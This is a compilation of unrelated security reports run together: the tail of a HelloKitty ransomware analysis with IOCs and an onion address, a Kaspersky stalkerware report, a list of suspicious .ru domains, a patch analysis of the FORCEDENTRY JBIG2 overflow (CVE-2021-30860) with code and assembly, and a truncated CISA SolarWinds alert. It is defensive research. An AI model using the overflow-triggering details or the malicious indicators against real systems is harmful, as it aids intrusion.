Manager API to further assist in termination. HelloKitty will also utilize WMI to gather system details and help identify running processes and any potentially problematic processes. This is done both by name and by PID. Examples include: ``` start iwbemservices::execquery - rootcimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process start iwbemservices::execquery - rootcimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (caption = "store.exe") start iwbemservices::execquery - rootcimv2 : select __path, processid, csname, caption, sessionid, threadcount, workingsetsize, kernelmodetime, usermodetime, parentprocessid from win32_process where (caption = "wrsa.exe") ``` ## Encryption and Ransom Note Encryption is initiated and completed very quickly once applicable services and processes have been terminated. Specific encryption recipes and routines can vary across variants of HelloKitty. Generally speaking, they tend to use a combination of AES-256 & RSA-2048 or even NTRU+AES-128. Once encrypted, affected files receive the `.crypted` extension. Ransom notes are typically customized to directly reference the victim and victim’s environment. Victims are instructed to visit a TOR-based payment and support portal. The following example has been sanitized: ``` 6x7dp6h3w6q3ugjv4yv5gycj3femb24kysgry5b44hhgfwc5ml5qrdad.onion ``` ## Conclusion HelloKitty may be easier to spot than other modern ransomware families, but upon execution, it is no less dangerous. There are currently no known ‘weaknesses’ in the encryption routines, and there are no third-party decrypters available for the HelloKitty ransomware. Therefore, the only true defense is prevention. While this family does not appear to be actively leaking victim data at the moment, that could change at any point, in addition to them choosing to adopt some of the more recent extortion methods that go along with ransomware (DDoS). Actors behind the more recent campaign(s) are reportedly attempting to auction the CD Projekt data off in various ‘underground’ forums. At present, this sale of this data does appear to be legitimate. Time will tell if additional victim data is dealt with in the same way. To protect yourself against HelloKitty, make sure you are armed with a modern Endpoint Security platform, which is configured correctly and up to date. The SentinelOne Singularity Platform is fully capable of preventing and detecting all malicious behaviors associated with the HelloKitty ransomware family. ## IOCs **SHA1** fadd8d7c13a18c251ded1f645ffea18a37f1c2de **SHA256** 501487b025f25ddf1ca32deb57a2b4db43ccf6635c1edc74b9cff54ce0e5bcfe **MITRE ATT&CK** - Data from Local System – T1005 - Modify Registry – T1112 - Query Registry – T1012 - System Information Discovery – T1082 - Data Encrypted for Impact – T1486 - File Deletion – T1070.004 - Command and Scripting Interpreter: Windows Command Shell – T1059.003 - Windows Management Instrumentation – T1047
# The State of Stalkerware in 2021 ## Main findings of 2021 Every year Kaspersky analyzes the use of stalkerware around the world to better understand the threat it poses. We partner with stakeholders across public and private sectors to raise awareness and find solutions to best tackle this important issue. The use of stalkerware may be decreasing, but violence is not. Stalkerware enables people to secretly spy on other people’s private lives via smart devices and is often used to facilitate psychological and physical violence against intimate partners. The software is commercially available and can access an array of personal data, including device location, browser history, text messages, social media chats, photos, and more. The marketing of stalkerware is not illegal, but its use without the victim’s consent is. Perpetrators benefit from this vague legal framework that still exists in many countries. Stalkerware is a breach of privacy and a form of tech abuse. To address this complex threat in a comprehensive way that best supports victims and survivors, innovative tools from a legislative, social, and technological point of view are needed. ### 2021 data highlights - In 2021, Kaspersky’s data shows that 32,694 unique users were affected by stalkerware globally. This is a decrease from our 2020 numbers and a historic low since we first started gathering data on stalkerware in 2018. While this could be seen as a reason for celebration, it is not. - Cyber-violence is on the rise, especially since the beginning of the pandemic. As people have continued to socialize less and spend more time at home, perpetrators feel more in control, possibly making them less prone to installing stalkerware to spy on their partner. In addition, abusers have a wider range of means, in the form of smart devices, to spy on or stalk their victims. Non-profit organizations (NPOs) with which Kaspersky works closely have shared similar observations from working with perpetrators and victims of stalkerware. It is important to remember that these numbers only include Kaspersky users: they do not take into account users who use the IT security solutions of our competitors or those who do not have any IT security solutions installed on their mobiles. Therefore, we see only the tip of the iceberg: while it is difficult to calculate the exact number of affected users in the world, members from the Coalition against Stalkerware estimate that it could be at least 30 times higher, with close to one million victims globally, each year. - Based on data obtained from the Kaspersky Security Network, the most affected countries remain Russia, Brazil, and the United States. This is in line with statistics from the past two years. At the regional level, we find the highest numbers of affected users in: - Germany, Italy, and the UK (Europe) - Turkey, Egypt, and Saudi Arabia (Middle East and Africa) - India, Indonesia, and Vietnam (Asia-Pacific) - Brazil, Mexico, and Colombia (Latin America) - The United States (North America) - The Russian Federation, Ukraine, and Kazakhstan (Eastern Europe excluding EU countries, Russia, and Central Asia) - Cerberus and Reptilicus were the most used stalkerware applications, with 5,575 and 4,417 affected users, respectively, globally. ## Trends observed by Kaspersky ### Global detection figures: affected users In 2021, a total of 32,694 single users were affected by stalkerware. ### Unique affected users per month over the 2019-2021 period Stalkerware continues to affect people across the world: in 2021, Kaspersky detected affected users in 185 countries or territories. ### Methodology The data in this report has been taken from aggregated threat statistics obtained from the Kaspersky Security Network. The Kaspersky Security Network is dedicated to processing cybersecurity-related data streams from millions of volunteer participants around the world. All received data is anonymized. To calculate our statistics, we review the consumer line of Kaspersky’s mobile security solutions applying only the Coalition Against Stalkerware’s detection criteria on stalkerware. ### Common functionalities of stalkerware applications This section lists the stalkerware applications that are the most used to control mobile devices on a global level. Cerberus and Reptilicus were the most used stalkerware applications with 5,575 and 4,417 affected users, respectively, globally. Stalkerware tools are less frequent on iPhones than Android devices because iOS is traditionally a closed system. However, perpetrators can work around this limitation on jailbroken iPhones, but they still require direct physical access to the phone to jailbreak it. iPhone users who fear surveillance should always keep an eye on their device. Stalkerware applications can give tremendous power and access to their users, depending on the applications and whether they are used in free or paying mode. Some of them are marketed as anti-theft or parental control applications; however, they are different in many ways, beginning with the fact that they work in stealth mode without the consent and knowledge of the victim. Most of the popular applications provide common stalkerware functionality such as: - Hiding app icon - Reading SMS, MMS, and call logs - Getting lists of contacts - Tracking GPS location - Tracking calendar events - Reading messages from popular messenger services and social networks - Viewing photos and pictures from phones’ image galleries - Taking screenshots - Taking front (selfie-mode) camera photos ## The number of affected users While we observe a decrease of 39% of affected users from our 2020 data, the fight against stalkerware and against cyber violence is far from over. The number of affected users and some of the behaviors and perceptions around the use of stalkerware are still concerning. In November 2021, Kaspersky commissioned a global survey of more than 21,000 participants in 21 countries on their attitudes towards privacy and digital stalking in intimate relationships. While the majority of respondents (70%) do not believe it is acceptable to monitor their partner without consent, a significant share of people (30%) doesn’t see any issue with it and find it acceptable under certain circumstances. ## How Kaspersky and its partners are collaborating to fight stalkerware The threat of stalkerware is not just a technical problem: all parts of society need to be involved in resolving the issue. For the past few years, Kaspersky has been at the forefront of the stalkerware debate. We are reaching out to public and private stakeholders to better understand this issue and find common solutions. Kaspersky is one of the co-founders and drivers of the Coalition Against Stalkerware (CAS) — an international working group dedicated to tackling stalkerware and combating domestic violence. The Coalition brings together organizations that work with victims and abusers, digital activists, and cybersecurity vendors. In 2021, we teamed up with INTERPOL and two respected non-profit organizations from the US and Australia to provide law enforcement officials with two online training sessions. These courses were attended by over 210 participants from around the world. ### TinyCheck: a tool to support victims of domestic violence Kaspersky’s work with the TinyCheck tool is an initiative worth highlighting. It is a free, open-source tool developed and supported by Kaspersky. TinyCheck facilitates the detection of stalkerware on victims’ devices and on any OS in a simple, quick, and non-invasive way without making the perpetrator aware. In 2021, more NPOs in the field of domestic violence tested TinyCheck and provided feedback to help improve the service. Police forces and judicial bodies in several countries have also taken an interest in the tool to better support victims. ## 2021 has seen positive developments on the regulatory and institutional fronts Across the world, 2021 has seen some positive developments in the fight against stalkerware from a regulatory and institutional point of view. In May 2021, Japan’s parliament enacted a bill to amend their stalker regulation law. Under the revised law, obtaining location information of people’s smartphones through apps without their authorization is now illegal. In August 2021, the Federal Trade Commission in the United States barred one app maker from offering stalkerware. It was the first ban of its kind. On August 17, 2021, the German Bundestag passed the “Act to Amend the Criminal Code - More Effective Combating of Stalking and Better Coverage of Cyberstalking.” The new law entered into force on October 1, 2021, and now includes cyberstalking in their catalog of offenses. The Council of Europe has been very active on this topic in 2021. In its first recommendation on the “digital dimension” of violence against women, the Council of Europe’s Group of Experts on Action against Violence against Women and Domestic Violence (GREVIO) defines and outlines the problems of both gender-based violence against women committed online and technology-enabled attacks against women. ## Think you are a victim of stalkerware? Here are a few tips If you need help, reach out to a local support organization. To find one close to you, check the Coalition Against Stalkerware website. - Protect your phone with a strong password that you never share with your partner, friends, or colleagues. - Change passwords for all of your accounts periodically and don’t share them with anyone. - Only download apps from official sources, such as Google Play or the Apple App Store. - Install a reliable IT security solution like Kaspersky Internet Security for Android on devices and scan them regularly. However, in the case of potentially already installed stalkerware, this should only be done after the risk to the victim has been assessed, as the abuser may notice the use of a cybersecurity solution. Victims of stalkerware may be victims of a larger cycle of abuse, including physical. In some cases, the perpetrator is notified if their victim performs a device scan or removes a stalkerware app. If this happens, it can lead to an escalation of the situation and further aggression. This is why it is important to proceed with caution if you think you are being targeted by stalkerware. - Keep an eye out for the following warning signs: these can include a fast-draining battery due to unknown or suspicious apps using up its charge and newly-installed applications with suspicious access to use and track your location, send or receive text messages, and other personal activities. - Do not try to erase the stalkerware, change any settings, or tamper with your phone: this may alert your potential perpetrator and lead to an escalation of the situation. You also risk erasing important data or evidence that could be used in a prosecution. For more information about our activities on stalkerware or any other request, please write us at [email protected]. The Coalition Against Stalkerware was founded in November 2019 in response to the growing threat of stalkerware. The Coalition seeks to combine its partners’ expertise in domestic violence survivor support and perpetrator work, digital rights advocacy, and cybersecurity to address the criminal behavior perpetrated by stalkerware. All members commit to fighting domestic violence, stalking, and harassment by addressing the use of stalkerware and raising public awareness about this issue.
## Issue #36 phunterlau commented Oct 17, 2017 • edited Some new waves are observed recently with ru only TLD, all query type A. For example, the core domains are like these, detected with very strong correlation, no subdomains: ``` bhzlyxh.ru., 1 qsxxzni.ru., 1 gwjijru.ru., 1 fyxkmbh.ru., 1 qwoumzw.ru., 1 kulfxxy.ru., 1 nrxboty.ru., 1 pyjhhpx.ru., 1 qwwzlam.ru., 1 sbckhnb.ru., 1 yboqlxs.ru., 1 qyccsug.ru., 1 nmtydik.ru., 1 uzpadrm.ru., 1 dqoudex.ru., 1 ssopuyk.ru., 1 gqlgpob.ru., 1 fgqjwdl.ru., 1 tdmxpmi.ru., 1 rxzyglt.ru., 1 qmwekpe.ru., 1 reczrhm.ru., 1 diacfxa.ru., 1 neffcrf.ru., 1 qhrywlc.ru., 1 hmiwbxq.ru., 1 wyudsya.ru., 1 lyfsnwj.ru., 1 kmgcsug.ru., 1 ``` Meanwhile, the wasyellowindexhotel.ru has many new FQDNs like w1.wasyellowindexhotel.ru, w17.wasyellowindexhotel.ru, w18.wasyellowindexhotel.ru. An educated guess can lead to some new variant.
# The Patch ## Analysis of CVE-2021-30860 The flaw and fix of a zero-click vulnerability, exploited in the wild by: Tom McGuire / September 16, 2021 This guest blog post was written by Tom McGuire, a senior instructor and cybersecurity focus area coordinator at Johns Hopkins and tech editor of my upcoming book, *The Art of Mac Malware: Analysis*. Here, he shares his analysis of reversing Apple's patch for CVE-2021-30860 (a zero-click iOS/macOS vulnerability exploited in the wild), highlighting both the underlying flaw and Apple's fix. Mahalo for sharing, Tom! 🤩 ### Wild, Wild West - Quick Initial Analysis of CVE-2021-30860 Recently, Apple released iOS/iPadOS 14.8 and macOS Big Sur 11.6, which fixes both an integer overflow and a use-after-free vulnerability (the watchOS platform was also patched to fix the integer overflow issue). This blog post will analyze the integer overflow in CoreGraphics, CVE-2021-30860. After examining the modified .dylib, it appears that there were other issues that were resolved as well, related to imaging processing. We will focus on the JBIG2 processing, specifically in the `JBIG2::readTextRegionSeg`. I could not find information about Apple’s use of JBIG2 libraries. However, as we will see, there is a likely chance there was some collaboration with open-source software. The source code shown is from Poppler, but as shown in the header file, the origin is “Copyright 2002-2003 Glyph & Cog, LLC”. An integer overflow can lead to a variety of issues. A common result with an integer overflow is to cause a dynamic memory allocation (e.g., `malloc()`, `calloc()`, etc.) to be too small. Later, data is copied from a source that is larger than the allocated size, resulting in a heap buffer overflow. Not all integer overflows will manifest this way, but it is a common occurrence and relevant to this discussion. CVE-2021-30860 is an integer overflow in the CoreGraphics component, specifically the decoding of JBIG2 data. JBIG2 (Joint Bi-level Image Experts Group) is an image compression format that can be embedded as a stream in a PDF or PSD document, or potentially other formats as well. Before we dive into the assembly and uncover the vulnerability and how it was fixed, we want to look at the discovery. CitizenLab reported this vulnerability, which they dubbed FORCEDENTRY (a knock at Apple’s recent security component, BlastDoor!), to Apple after they had done some analysis on journalists’ phones suspected of being hacked. In their reporting, CitizenLab attributes the attacks to the NSO group, due to the Pegasus software that was seen on these infected devices. During their analysis, they uncovered crash logs and noticed quite a few image files that seemed to crash the `IMTranscoderAgent`. `IMTranscoderAgent` is one of the components related to processing iMessage data, including upon sending/receiving images! According to CitizenLab, they reported the vulnerability to Apple on Tuesday, September 7, 2021, and Apple confirmed and released the patches for the issue on Monday, September 13, 2021. That is a quick turnaround, so let’s see how well they did with the patching! Image file formats are notorious for having vulnerabilities that can lead to arbitrary remote code execution (RCE) on devices (CVE-2009-1858, CVE-2015-6778, CVE-2020-1910, etc.). ### Imaging Parsing Issues Are Not New! It is not surprising that such an issue existed here. With this JBIG2 processing vulnerability (which exists in the `readTextRegionSeg` method), I will note that another very similar vulnerability was previously patched. This issue is nearly the same logic as the one in FORCEDENTRY. The method `readSymbolDictSeg` contains integer overflow checks that help prevent the scenario that we will examine in this post! Of particular note to the attacks reported by CitizenLab, the file formats were PDF files, with embedded JBIG2 streams. Zero-click iMessage vulnerabilities have existed before. In an effort to help reduce this attack surface, Apple recently (iOS 14) introduced the “BlastDoor” feature. Samuel Groß, of Google’s Project 0, posted an excellent write-up about this new feature. For our purposes, what we need to understand is that the BlastDoor feature is meant to “sandbox” processing in the iMessage chain. In other words, when an image or document is received via iMessage and automatically parsed, it is done in a sandboxed environment. The intent is that if a vulnerability exists in some of the processing engine, the exploitation will be limited to this sandboxed environment, keeping the rest of the system ‘safe’. This is true for certain file formats, but it appears that Apple did not sandbox all potential automatically parsed formats (looking at you PSD files, and likely other raster formats). Though I have not gone through and analyzed any changes to BlastDoor since this patch, I can only hope that Apple has increased the robustness of BlastDoor and has prevented PDF, PSD, and other raster file format parsing from going through the `IMTranscoderAgent`. That is, going forward, the hope is these other notoriously prone formats are processed in the BlastDoor sandboxed environment…perhaps we can look at that in a future blog post! With the background out of the way, let’s get to reversing and find out what happened and how it was fixed! In order to examine this, we first need to grab a vulnerable version of the `.dylib` (we will be using macOS 11.5.2) and a fixed version (macOS 11.6). I had Hopper and IDA for analysis as well, so for the sake of time, I utilized them both. First, we need to grab the `CoreGraphics.dylib` from the two systems. At first, I was looking in the usual spot (/System/Library/Frameworks/CoreGraphics) and quickly noticed this was not the correct library. It turns out that on recent versions of macOS, many of the core frameworks are located in the dyld cache! This is a very large file, but is located in /System/Library/dyld/dyld_shared_cache_x86_64 (I’m using the x86_64 version). Armed with the knowledge of where the dyld cache is located, we need to extract the `CoreGraphics.dylib` from it. One of the simplest ways is to use the Hopper disassembler. Opening the `dyld_shared_cache_x86_64` file in Hopper presents you with a myriad of frameworks to examine. Of course, we will filter on the “CoreGraphics” one to open it. From here, I was most interested in learning the differences between the 11.5.2 version and the 11.6 version. At this point, I decided to use Hopper to output the `CoreGraphics.dylib` to its own dedicated Mach-O file. To do this, we can use the “File->Produce New Executable” (or `cmd+shift+e`). Doing this for both the 11.5.2 `dyld_cache` and the 11.6 `dyld_cache` yields us the two `CoreGraphics.dylib` that we can easily analyze. In order to diff these quickly, I decided to utilize IDA and BinDiff (we certainly can use other tools as well). So let’s open both `CoreGraphics-11_5_2.dylib` and `CoreGraphics-11_6.dylib` in IDA, saving the corresponding `.i64` files. After closing both databases, I re-opened the `CoreGraphics-11_5_2.dylib` and launched BinDiff. After choosing “Diff Database…” and selecting the `CoreGraphics-11_6.i64` database, we wait for BinDiff to do its magic! We notice that there are 10 functions that have changed. It turns out that there was an API change or parameter size change to one of them (one of the parameters was removed), thus 4 of these functions aren’t as “different” as they first appear. We notice that there are a few entries with 0.99 similarity. These functions are mostly similar up to variance of some number of instructions. The 0.92 similar function is the one of interest to us. The “G” in the 3rd column (change) indicates there is a graph change (number of basic blocks or number of edges differ). There are also differences in the branch inversion, indicated by the “J”. The “L” indicates the number of loops has changed. The graph structure is an important change to look at, as this could indicate a new branch condition was added or altered! For this post, the most interesting function related to the JBIG2 processing that differs between the two versions is located at: `00007FFF252466E0` (11.5.2 version) and `00007FFF25247710` (11.6 version) (this is the `readTextRegionSeg_0` named routine). This is the `JBIG2::readTextRegionSeg` function. As you can see, I didn’t have symbols when doing this, however, I did notice some interesting strings present in the `CoreGraphics.dylib`, which turned out to be very useful in piecing together the code paths. Utilizing the strings located in the dylib, and the source code for a JBIG2Stream processor, we can match up some of the code! Using source code as a guide, we can look at the issue in source and then match it to the disassembled version confirming the existence of the vulnerability in the 11.5.2 version. As we can see below, the `numSyms` variable (an unsigned 32-bit integer) is incremented by the size of the currently processed segment. Thus, if there is more than one `jbig2SegSymbolDict` segment, `numSyms` will be updated with the size of that segment. This can lead to an integer overflow as there is no checking surrounding this area. ```c // get symbol dictionaries and tables numSyms = 0; for (i = 0; i < nRefSegs; ++i) { if ((seg = findSegment(refSegs[i]))) { if (seg->getType() == jbig2SegSymbolDict) { numSyms += ((JBIG2SymbolDict *)seg)->getSize(); } else if (seg->getType() == jbig2SegCodeTable) { codeTables.push_back(seg); } } else { error(errSyntaxError, curStr->getPos(), "Invalid segment reference in JBIG2 text region"); return; } } ``` As you can see from the disassembly below from the vulnerable version (11.5.2), the `add eax, [rbx+0ch]` (which is a 32-bit calculation) has no checking to ensure this hasn’t wrapped. Thus, we have an integer overflow in which `numSyms` could wrap around. ```assembly __text:00007FFF25246A56 nRefSegs_loop: mov esi, [r13+r12*4+0] mov rdi, r14 call findSegment test rax, rax jz loc_7FFF25246CDD mov rbx, rax mov rax, [rax] mov rdi, rbx call qword ptr [rax+10h] ; getType() cmp eax, 1 ; jbig2SegSymbolDict jnz short loc_7FFF25246A8E mov eax, dword ptr [rbp+numSyms] add eax, [rbx+0Ch] ; numSyms += getSize() ; no overflow check here! mov dword ptr [rbp+numSyms], eax jmp short loc_7FFF25246AA7 ``` As we noted earlier, an integer overflow is often paired with one or more other mistakes. For example, it is used in an allocation routine to allocate dynamic memory. That is exactly the case here! In the assembly below, we can see the `numSyms` being moved into `EDI` (prepping for the first argument to `gmallocn`). The `numSyms` value is controlled by the attacker. For example, we could have one segment be `0xFFFFFFFF` and the other be 2. We could also use `0x80000000` and `0x80000001`. The goal, of course, is to get `numSyms` to be a small number so the allocator, `gmallocn`, will create a small allocation. ```assembly __text:00007FFF25246AC1 mov edi, dword ptr [rbp+numSyms] cmp edi, 2 jb short loc_7FFF25246ADB xor ecx, ecx mov eax, 1 loc_7FFF25246AD3: inc ecx add eax, eax cmp eax, edi jb short loc_7FFF25246AD3 loc_7FFF25246ADB: mov [rbp+var_2C4], ecx mov esi, 8 call gmallocn mov r8, rax xor ebx, ebx ``` If we assume the `numSyms` was 1 following the overflow, `gmallocn` will allocate an 8-byte region for this. But where does this small allocation get used? And can we get more data to be copied into this buffer than was allocated? Luckily we don’t have far to go to see where there is an issue! First, we will look at the source code. We notice that this loop has similar processing to the vulnerable overflow one. In particular, it processes the `jbig2SegSymbolDict` segment. In this code path, we can see that the `getSize` method is called again and the bounds of the loop are tied to this. Since `getSize` returns an unsigned int (and `k` is already an unsigned int), this comparison is unsigned. Thus, even if `getSize` is `0x80000000`, this portion will execute. As you can see on line 2004, the `syms` variable receives the bitmap. This `syms` was the result of the `gmallocn` allocation. Recall that only 8 bytes were allocated, in our example. But the `getSize` could be much larger, resulting in a heap buffer overflow! ```c kk = 0; for (i = 0; i < nRefSegs; ++i) { if ((seg = findSegment(refSegs[i]))) { if (seg->getType() == jbig2SegSymbolDict) { symbolDict = (JBIG2SymbolDict *)seg; for (k = 0; k < symbolDict->getSize(); ++k) { syms[kk++] = symbolDict->getBitmap(k); // <-- overflow! } } } } ``` Let’s confirm the existence of this in the 11.5.2 code as well. From the code below, we can see that the `getBitmap_copyloop` is unbounded! Thus, a heap buffer overflow exists! ```assembly __text:00007FFF25246AF0 loc_7FFF25246AF0: mov r15, r8 mov esi, [r13+rbx*4+0] mov rdi, r14 call findSegment test rax, rax jz short loc_7FFF25246B53 mov r12, rax mov rax, [rax] mov rdi, r12 call qword ptr [rax+10h] ; getType() cmp eax, 1 ; jbig2SegSymbolDict jnz short loc_7FFF25246B53 mov eax, [r12+0Ch] ; getSize() test rax, rax mov r8, r15 jz short loc_7FFF25246B56 mov r9, [rbp+var_2C0] mov edx, r9d xor ecx, ecx getBitmap_copyloop: lea esi, [rdx+rcx] mov rdi, [r12+10h] mov rdi, [rdi+rcx*8] mov [r8+rsi*8], rdi ; leads to a heap overflow inc rcx cmp rax, rcx jnz short getBitmap_copyloop ``` Unfortunately, I did not have a sample to examine, so I could not confirm how the specific sample that CitizenLab had performed the attack. In order to examine the fix, we need to look at the 11.6 version of the `CoreGraphics.dylib`. I would’ve expected to see an integer overflow check in the calculation of `numSyms` in the first loop. However, that is not the case. Below is the 11.6 version of the processing loop which is identical to 11.5.2! Maybe Apple will send out a proper fix soon. ```assembly __text:00007FFF25247A79 nRefSegs_loop: mov esi, [r12+r14*4] mov rdi, r13 call findSegment test rax, rax jz loc_7FFF25247D1D mov rbx, rax mov rax, [rax] mov rdi, rbx call qword ptr [rax+10h] ; getType() cmp eax, 1 ; jbig2SegSymbolDict jnz short loc_7FFF25247AB0 mov eax, [rbp+numSyms] add eax, [rbx+0Ch] ; numSyms += getSize() ; still no overflow check! mov [rbp+numSyms], eax jmp short loc_7FFF25247ACD ``` Hrmm…not quite what I was expecting to see, but that’s OK. There are other changes in this function. Recall that we noted that the integer overflow itself doesn’t always lead to an issue, but it is usually paired with one or more other conditions. In this case, there are two other conditions that lead to the exploitable case. First, as we saw, the small `numSyms` value is used to allocate a memory region. With a small allocated buffer and the second issue of the copy loop using the larger values for its bounds (i.e., `getSize`), we have a recipe for the heap buffer overflow! Based on that, and so far the fact that neither the `numSyms` calculation nor the `gmallocn` area were changed, we can hope that this is fixed in the copy loop! And this is exactly what happened. We can see below that we only go into the `getBitmap_copyloop` for the `numSyms` times. But this is only half of the problem. Since `getBitmap` is called in a loop, they also need to make sure that they stop the loop early there as well! You can see that change in the `getBitmap_copyloop`, where they are now checking not only against the size of the segment but they are also checking to ensure that the data copied to that point won’t exceed the allocated buffer size. ```assembly __text:00007FFF25247B23 loc_7FFF25247B23: mov esi, [r12+r14*4] mov rdi, r13 call findSegment test rax, rax jz short loc_7FFF25247B87 mov rbx, rax mov rax, [rax] mov rdi, rbx call qword ptr [rax+10h] ; getType() cmp eax, 1 ; jbig2SegSymbolDict jnz short loc_7FFF25247B87 cmp r15d, [rbp+numSyms] ; new check to make sure we aren't going beyond the number of symbols jnb short loc_7FFF25247B87 mov ecx, [rbx+0Ch] ; effectively ecx = getSize(); mov r15d, r15d mov rdx, [rbp+orig_numSyms] sub rdx, r15 ; keep track of symbols copied ``` This was certainly not the expected patch path when I first recognized the vulnerability. I would’ve thought the overflow would’ve been fixed at the point of calculation of `numSyms`. There may be a reason this is not the case. Perhaps they still want the processing to occur even in the case of some ‘malformed’ PDFs for whatever reason. Who knows! ### `readSymbolDictSeg` and Differences in the Patch As we alluded to earlier, another method has a very similar processing loop, but it was actually protected from the integer overflow before this release! In fact, the fix in this code checks for the integer overflow when calculating the number of symbols! Using our JBIG2 source code as an example, we can see the following processing. On lines 1536-1539, we see the integer overflow check to ensure that when the statement on line 1540 is executed, it won’t overflow! ```c // get referenced segments: input symbol dictionaries and code tables numInputSyms = 0; for (i = 0; i < nRefSegs; ++i) { if ((seg = findSegment(refSegs[i]))) { if (seg->getType() == jbig2SegSymbolDict) { j = ((JBIG2SymbolDict *)seg)->getSize(); if (numInputSyms > UINT_MAX - j) { error(errSyntaxError, curStr->getPos(), "Too many input symbols in JBIG2 symbol dictionary"); goto eofError; } numInputSyms += j; } else if (seg->getType() == jbig2SegCodeTable) { codeTables.push_back(seg); } } else { return false; } } if (numInputSyms > UINT_MAX - numNewSyms) { error(errSyntaxError, curStr->getPos(), "Too many input symbols in JBIG2 symbol dictionary"); goto eofError; } ``` In the assembly from 11.5.2, we can see the overflow check at addresses `00007FFF2524576D` - `00007FFF25245774`, with the branch at `00007FFF25245774` going down the error path: ```assembly __text:00007FFF25245748 loc_7FFF25245748: mov rax, [rbp+var_68] mov esi, [rax+rbx*4] mov rdi, r14 call findSegment test rax, rax jz short loc_7FFF25245791 mov r12, rax mov rax, [rax] mov rdi, r12 call qword ptr [rax+10h] ; getType() cmp eax, 1 ; jbig2SegSymbolDict jnz short loc_7FFF25245776 add r13d, [r12+0Ch] jnb short loc_7FFF25245791 ; integer overflow check jmp short integer_overflow ``` As you can see, this overflow check was done during the calculation of the number of symbols. This is due to the `jnb` instruction. The `add` instruction will perform both signed and unsigned operation and adjust the Overflow Flag (OF) and/or Carry Flag (CF) for signed and unsigned respectively. The `jnb` instruction (a pseudonym for `jnc`) indicates to jump if the carry flag is 0 (i.e., no integer wrapping occurred). In this case, this is the ‘good’ path, whereas if the CF was set, this would indicate an integer wrapping and the corresponding error path is taken! On the other hand, in the `readTextRegionSeg` method, the `numSyms` can still overflow, however, in the processing loop when the `getBitmap` method is copying to the allocated region, there is a check to ensure that this data is not overflowed. Based on the analysis and the abundance of common strings, it seems that Apple is likely using an open-source version of the JBIG2 processing and making their own modifications. It does seem that a different developer implemented the fix in CVE-2021-30860 than the one found in the `readSymbolDictSeg` method. ### Concluding Thoughts There were other functions that were patched as well. For example, in the 11.6 version, it is worth analyzing the functions at address `00007FFF24EF2684` and `00007FFF250F6301`. Perhaps for another blog post… As we noted, this vulnerability is (well prior to the patch) exploitable through a crafted iMessage without any user interaction. In other words, a specially crafted PDF file could be sent to an iMessage recipient, and the victim’s `IMTranscoderAgent` begins processing the malicious payload outside of the BlastDoor sandbox. Hopefully, Apple will also update BlastDoor and prevent these dangerous file formats from being processed outside the sandbox environment! Apple’s iDevices have gotten more secure, especially from allowing their system to be modified upon reboot. Thus, a good practice for iOS users is to a) update when updates are available and b) reboot the phone every so often! Of course, this won’t stop these 0-day attacks, but it is at least a good security practice. It would be worth downloading iVerify to help test for common infections as well as for recommendations to increase the security posture of your device!
# Advanced Persistent Threat Compromise of Government Agencies, Critical Infrastructure, and Private Sector Organizations ## Summary Updated April 15, 2021: The U.S. Government attributes this activity to the Russian Foreign Intelligence Service (SVR). Additional information may be found in a statement from the White House. The Cybersecurity and Infrastructure Security Agency (CISA) is aware of compromises of U.S. government agencies, critical infrastructure entities, and private sector organizations by an advanced persistent threat (APT) actor beginning in at least March 2020. This APT actor has demonstrated patience, operational security, and complex tradecraft in these intrusions. CISA expects that removing this threat actor from compromised environments will be highly complex and challenging for organizations. **Key Takeaways (updated December 18, 2020)** - This is a patient, well-resourced, and focused adversary that has sustained long duration activity on victim networks. - CISA is investigating other initial access vectors in addition to the SolarWinds Orion supply chain compromise. - Not all organizations that have the backdoor delivered through SolarWinds Orion have been targeted by the adversary with follow-on actions. - Organizations with suspected compromises need to be highly conscious of operational security, including when engaging in incident response activities and planning and implementing remediation plans. ## Technical Details ### Overview CISA is aware of compromises, which began at least as early as March 2020, at U.S. government agencies, critical infrastructure entities, and private sector organizations by an APT actor. This threat actor has demonstrated sophistication and complex tradecraft in these intrusions. CISA expects that removing the threat actor from compromised environments will be highly complex and challenging. ### Initial Infection Vectors [TA0001] CISA is investigating incidents that exhibit adversary TTPs consistent with this activity, including some where victims either do not leverage SolarWinds Orion or where SolarWinds Orion was present but where there was no SolarWinds exploitation activity observed. CISA incident response investigations have identified that initial access in some cases was obtained by password guessing, password spraying, and inappropriately secured administrative credentials accessible via external remote access services. ### SolarWinds Orion Supply Chain Compromise [T1195.002] SolarWinds Orion is an enterprise network management software suite that includes performance and application monitoring and network configuration management along with several different types of analyzing tools. The threat actor has been observed leveraging a software supply chain compromise of SolarWinds Orion products. The adversary added a malicious version of the binary `solarwinds.orion.core.businesslayer.dll` into the SolarWinds software lifecycle, which was then signed by the legitimate SolarWinds code signing certificate. ### Anti-Forensic Techniques The adversary is making extensive use of obfuscation to hide their C2 communications. The adversary is using virtual private servers (VPSs) for most communications to hide their activity among legitimate user traffic. The attackers also frequently rotate their “last mile” IP addresses to different endpoints to obscure their activity and avoid detection. ### Privilege Escalation and Persistence [TA0004, TA0003] The adversary has been observed using multiple persistence mechanisms across a variety of intrusions. CISA has observed the threat actor adding authentication credentials, in the form of assigning tokens and certificates, to existing Azure/Microsoft 365 application service principals. ### User Impersonation The adversary’s initial objectives appear to be to collect information from victim environments. One method the adversary is accomplishing this objective is by compromising the SAML signing certificate using their escalated Active Directory privileges. ### Detection: Impossible Logins The adversary is using a complex network of IP addresses to obscure their activity, which can result in a detection opportunity referred to as “impossible travel.” ### Operational Security Due to the nature of this pattern of adversary activity—and the targeting of key personnel, incident response staff, and IT email accounts—discussion of findings and mitigations should be considered very sensitive, and should be protected by operational security measures. ## MITRE ATT&CK® Techniques CISA assesses that the threat actor engaged in the activities described in this Alert uses the below-listed ATT&CK techniques. - Query Registry [T1012] - Obfuscated Files or Information [T1027] - Process Discovery [T1057] - Indicator Removal on Host: File Deletion [T1070.004] - Application Layer Protocol: Web Protocols [T1071.001] - Application Layer Protocol: DNS [T1071.004] - File and Directory Discovery [T1083] - Ingress Tool Transfer [T1105] - Data Encoding: Standard Encoding [T1132.001] - Supply Chain Compromise: Compromise Software Dependencies and Development Tools [T1195.001] - Supply Chain Compromise: Compromise Software Supply Chain [T1195.002] - Software Discovery [T1518] - Create or Modify System Process: Windows Service [T1543.003] - Subvert Trust Controls: Code Signing [T1553.002] - Dynamic Resolution: Domain Generation Algorithms [T1568.002] - System Services: Service Execution [T1569.002] - Compromise Infrastructure [T1584] ## Mitigations ### SolarWinds Orion Owners Networks with SolarWinds 